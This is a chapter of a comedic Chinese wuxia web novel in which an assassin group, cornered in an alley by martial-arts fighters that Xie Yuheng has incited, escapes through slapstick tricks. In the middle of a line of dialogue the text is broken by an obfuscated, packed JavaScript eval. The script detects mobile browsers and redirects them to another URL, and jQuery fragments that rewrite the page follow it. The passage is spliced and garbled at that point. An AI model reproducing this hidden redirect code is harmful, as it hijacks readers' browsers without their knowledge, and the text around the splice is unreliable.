虞无妄早就对姞朔下达的暗杀令有所不满,要清理官场,寻个正当由头便是,何必再造作理由,靠巫蛊之术编出些欲加之罪。
无还子最开始只觉得这是虞无妄尚未黑化的象征,代表着任务进行得顺利,也就没有对此多留心。
五周后,一封密信流落坊间,其上记载无还栈杀人的各种由头。这一列举出来,视觉效果十分骇人,名单前几页竟然全都以巫蛊谋逆。一桩桩写得煞有介事,凑在一处却透着诡异的刻意。
按照莫回的话来讲,做假账都该讲点基本法,哪有把罪名堆得这么齐整的,这是生怕别人看不出是栽赃。果然民声载道,危机一触即发。
在一次对受贿武将的围剿之后,他们撤退时却在城郊胡同遭了埋伏,有人想把无还子一锅端,将他们尽数堵在某个青鸾联络点后边的死胡同中。
来人举着一杆大旗堵在巷口,多位一看便是某江湖门派的人持刀戒备,墙头架了弩箭,分明是要将他们困死在这方寸之地。
哑刃迅速转了一圈,确认几个撤离路口都被堵死,回来报告莫回:“大师兄,这是一出瓮中捉鳖啊。”
荆鼓捅了他一肘子:“你才是鳖。”
仇九命崩溃道:“天啊这是重点吗?”
哑刃继续压低声音说:“这不是临时起意,是精心布局的截杀。”
莫回回头示意大家隐蔽:“注意,注意,这不是演习。”
几人蹲在巷内,用一架破牛车当掩体,小声迅速商量着方案。
“他们会不会围错了人?”屠笑尔从未经历过如此严肃的群架阵势,第一反应就是对方找错目标了。
哑刃抬头,眯着眼仔细确认外边的旗子:“他们旗上写了‘替天行道’,坏了,这就是冲我们来的。”
“我们怎么就要被坚决消灭了?”荆鼓还搞不清楚状况。
“因为我们太造孽了。”仇九命悠悠叹了口气,“最近杀了多少人你心里没数吗?”
“那不都是按照大姞律法应该斩首的死刑预备分子吗?”荆鼓说。
“可上边的命令写的是巫蛊之术,写的是我们乱杀人啊。”仇九命解释。
荆鼓用最朴素的人情观念迅速出招:“谁有人脉关系,可以出去解释一下,让他们不要误会的?”
众人皆摇头,最后齐齐看向正在自闭不发一言的屠笑尔。
屠笑尔摊手:“放心好了,我在江湖上没人。”
几人对视,都颇为无奈。
“这些看起来都是江湖义士。”哑刃观察了一会,压低声音跟屠笑尔说,“我感觉那几个披着麻袋的是丐帮的,那几个有胡子的是武当的,那几个穿着普通布衣的定然不是普通角色,说不定是武艺高超的扫地僧。”
屠笑尔跟着他的视线望了一会:“师兄,你的扫地僧在路边吐了口痰走掉了。”
“那就是看错了,他们是普通路人。”哑刃修正道。
“你的武当派和小贩讲价未遂也走了。”
“看错了,他们是买菜路人。”
“你的丐帮买了两袋地瓜。”
“看错了……”
“别闹了,你们俩,看这边!”莫回低声喝道,让开身位,让他俩看见另一个方向的状况。
这边才是如假包换的江湖人士。
持刀舞棍,各个都一身正气站姿凛然,密密麻麻堵住巷口。
“我靠……”哑刃惊了,“这都是些什么武器,好多剑修,那堵墙怎么有两米高啊活像大象成精!”
“但他们都是江湖义士对吧,我们无还栈走官路,他们是民间组织,互不干涉和谐共生,这是个误会,我们不能杀他们。”仇九命说。
“那怎么办?”屠笑尔问。
莫回抬头看了看天色:“没有退路了,所以……”
屠笑尔伸手在他视野里刷了刷:“所以?”
“所以我们还是祈祷上天打雷把这一块都夷为平地来得现实一点。”莫回毫无斗志地说。
他们嘀嘀咕咕了一会,外面有人掏出一只有人掏出个漏斗形状的铁皮玩意儿,拿在嘴边喊:“无还栈的人听着,你们勾结乱党、意图劫粮,已是罪无可赦!识相的就赶紧出来束手就擒,黑风堂还能给你们留个全尸!再敢负隅顽抗,休怪我们刀下无情!”
原来是个简易扩音器。
“留个全尸,好大的优惠力度啊。”荆鼓双眼无神喃喃道,“就好像领取到了玛莎拉蒂十元优惠券呢!”
屠笑尔客观地说:“那不一样,不买玛莎拉蒂你还能活着,你现在逃不掉可就要变成肉酱了。”
莫回紧盯外头局势,招手示意大家噤声:“哑刃你去谈判一下。”
“好。”哑刃躬身站起,双手拢在唇边,中气十足道,“我们没有意图劫粮!”
说完就蹲下了。
众人:?
屠笑尔迟疑地问:“这样的谈判技巧,是不是有些苍白了?”
外边的发言人果然更加愤怒:“人赃并获还敢狡辩!方才黑风堂截获的粮草清单上明明白白写着你们无还栈的标记,少装聋作哑!你们克扣灾民粮草、为非作歹,如今东窗事发,竟当起了缩头乌龟,这般龌龊行径,良心就不会痛吗!”
“你们踏马要杀我,我不缩谁缩?!”哑刃怒道。
“等一下。”屠笑尔举手,“我有一个困惑。”
大家都看向她。
“黑风堂到底是什么角色,有正派会取这种名字吗?”
荆鼓捻着下巴:“不好说,或许是土匪招安之后沿用了之前的名字。”
话音刚落,外边那发言人的声音再次响起,这次添了几分得意:“怎么?被说中了痛处,连狡辩都不敢了?告诉你们,玉面刺客早已将你们的恶行告到江湖盟会,如今武林同道人人得而诛之!识相的赶紧出来受死,还能落个敢作敢当的名声!”
“玉面刺客!”几人在对方的眼中看到了然神色。
原来是谢玉衡搞的鬼!
“他为什么要叫一帮江湖人士来杀我们?”哑刃问。
莫回想了想,理清了里头的逻辑:“谢玉衡要回大姞,最忌讳的就是我们无还栈的情报网。他在朝中的手脚、私下的交易,我们手里握着不少底细。这些东西要是捅出去,足够让他掉好几次脑袋。”
“江湖人最讲正邪,黑风堂又自诩正义。谢玉衡只要随意编几个摸黑我们的理由,这群人就会受到蛊惑,像饿狼一样扑上来。”
屠笑尔并不理解:“原来江湖帮派也有KPI啊,听到有行侠仗义的机会就抢着来。”
仇九命沧桑道:“我算是看透了,各行各业都有KPI,你不知道,之前我们院里强行要求一个月做十例搭桥的时候有多荒谬,全县都抢着要那几个心脏病人。”
“你们院抢到了吗?”哑刃问。
“抢到了。”仇九命笑出几分智慧的光,“我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059177|194973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给老年患者发鸡蛋。”
“你说我们给外边的人发鸡蛋,他们能不能放弃围剿?”哑刃建言献策。
莫回一口否决:“不行。首先他们并不稀罕鸡蛋,其次我们没有鸡蛋。”
众人再次陷入漫长的沉默。
百米之外,茶馆二楼。
谢玉衡看着巷口冷笑,听手下汇报黑风堂果然中计,倾巢而出围攻无还栈的联络点,他嘴角勾起一抹狠厉:“告诉外面的百姓,无还栈勾结乱党,本欲劫走漕运粮草接济反贼,幸得黑风堂仗义出手,才没让他们得逞。”
无还栈的情报网像张无形的网,拦了他回到大姞的路。那便让这张网溺死在污名里好了。
黑风堂那群自诩正义的蠢货,不过是他借刀杀人的刀,用完了,自然有新的说法等着他们。这一次,他要彻底撕碎无还子的名声。
黑风堂的喊杀声震得窗棂发颤。谢玉衡放下茶杯,看了眼日头,是时候让京城百姓亲眼看见无还子如何拒捕反抗了。
黑风堂内人才济济,各类流派皆有专长,江湖武功路数灵活多变,不同于大姞官府培养出来的正规兵士,用黑风堂剿灭无还栈轻而易举。
谢玉衡志在必得,转身下楼,决定亲眼去见证大姞这只见不得光的暗杀组织如何陨落。
短短百米路程,他走得期盼又兴奋,可刚到巷子口,却被一只从天而降的铁皮筒子砸了头!
铛!
“怎么回事!”谢玉衡骂骂咧咧,双手试图捂住脑中那荡气回肠的余韵,“什么东西!”
“不好意思谢大人,是小玉方才不小心脱手的传音筒。”有人解释道。
“好端端的怎么会脱手?”谢玉衡问。
那人一指巷子里边:“无还子玩阴的,方才丢了石块砸小玉。”
“什么?”谢玉衡看看死胡同深处那破车架子,又看了看小玉被石块擦破的指关节,下意识说道,“准头这么好啊?”
“谢大人?”江湖义士纷纷看着他,眼神中充满对他阵营的质疑。
谢玉衡连忙清清嗓子,甩了下臂弯里的拂尘,高深道:“此招甚阴。”
“谢大人,我们怎么办?”有人问他。
“他们拢共只有五人而已,优势在我,杀进去打他个瓮中捉鳖!”谢玉衡的拂尘在空中画了个蛇形,白毛一甩,直指胡同深处。
这样的语言实在振奋人心,众人得令,嗷地一声各持武器就往里冲!
与此同时,莫回果断下令:“跑跑跑!还手轻点,别把人打死了!”
无还子迎着人潮一跃而上,莫回拎着屠笑尔后领往前一甩:“屠啥,用瓜皮开路!”
黑风堂那边的人还没听清楚他在喊什么,最前方一排人同时脚底一滑,仰面朝天倒了下去。紧随其后的人没有刹住,险些踩到兄弟脸上。
“不是说无还子不会阴招吗?!”有人怒吼着。
“谁往空中撒辣椒面!阿——啾,没有武德!”
屠笑尔脚尖轻踏两米巨人头顶,于空中丝滑接住哑刃抛来的一兜子炸汤圆,随后开启【兄弟包中】模式,寸劲发射。
对不住了各位,请大家吃花生酱总比请诸位吃花生米好。
炸汤圆如同冰雹一般砸入拥挤的人群,嚎叫顿生。
“我手上怎么有黄色的东西,好黏!”
“我去!还是温热的!”
“天杀的哪个帮派的人在扔屎!!!”